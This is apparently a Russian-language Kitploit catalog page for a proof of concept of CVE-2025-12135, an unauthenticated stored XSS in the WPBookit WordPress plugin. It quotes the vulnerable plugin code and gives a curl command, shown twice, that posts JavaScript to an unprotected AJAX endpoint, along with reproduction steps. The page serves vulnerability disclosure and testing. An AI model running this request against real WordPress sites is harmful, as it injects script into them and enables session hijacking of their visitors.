Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-12135 — WPBookit <= 1.0.6 — Неаутентифицированный хранимый межсайтовый скриптинг | Kitploit
Инструменты/GitHubGitHub/d0n601/cve-2025-12135
Статический анализ кода (SAST)Анализ уязвимостейАнализ КодаЭксплуатация веб-приложенийАутентификацияНеправильная Конфигурация
GitHubd0n601/cve-2025-12135

CVE-2025-12135

WPBookit <= 1.0.6 — Неаутентифицированный хранимый межсайтовый скриптинг

Репозиторий
9 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

WPBookit <= 1.0.6 - Неаутентифицированная сохраненная межсайтовая XSS

Плагин WPBookit не проверяет права пользователя и не очищает пользовательский CSS/JS-код в своей AJAX-конечной точке save_custome_code, что позволяет неаутентифицированным злоумышленникам внедрять произвольный JavaScript, который выполняется при каждой загрузке страницы, что приводит к сохраненной XSS и возможному перехвату сессии.

TL;DR Эксплойты

root@kitploit:~
# Basic XSS injection
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "css_code=/* malicious */&js_code=alert('XSS');"

Подробности

Уязвимость находится в методе save_custome_code класса WPB_Setting_Controller. Плагин регистрирует AJAX-конечные точки для неаутентифицированных пользователей, позволяя любому посетителю внедрять произвольный CSS/JS-код, который выполняется при каждой загрузке страницы.

Уязвимый код из /core/admin/classes/controllers/class.wpb-setting-controller.php:16-25:

root@kitploit:~
public function save_custome_code(WP_REST_Request $request){
    $css_code= $request->get_param('css_code');
    $js_code= $request->get_param('js_code');
    update_option( 'wpb_custom_code_data', [  'css_code' => $css_code,  'js_code' => $js_code ]);
}

Выполнение кода из /core/shortcodes/class-wpbookit-shortcode-abstract.php:20-27:

root@kitploit:~
$wpb_custom_code= get_option( 'wpb_custom_code_data', [  'css_code' => '',  'js_code' => '' ]);

wp_add_inline_style( 'wpb-custom-code-css', stripslashes($wpb_custom_code['css_code']));
wp_add_inline_script( 'wpb-custom-code-js', stripslashes($wpb_custom_code['js_code']) );

Неаутентифицированный доступ из /core/admin/classes/class.wpb-admin-routes-handler.php:15-16:

root@kitploit:~
add_action( "wp_ajax_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );
add_action( "wp_ajax_nopriv_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );

Конфигурация маршрута из /core/admin/classes/class.wpb-admin-routes.php:118-123:

root@kitploit:~
'save_custome_code' => [
    'method' => 'post',
    'action' => 'WPB_Setting_Controller@save_custome_code',
    'nonce' => 0,
    'module' => 'setting-controller'
],

Ручное воспроизведение

  1. Определите цель — сайт с установленным плагином WPBookit.
  2. Внедрите вредоносный JavaScript:
root@kitploit:~
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "css_code=/* malicious */&js_code=alert('XSS');"
  1. Проверьте внедрение, посетив любую страницу сайта — выполнится alert.
  2. Проверьте сохранение — вредоносный код хранится в базе данных и выполняется при каждой загрузке страницы.
Скачать инструмент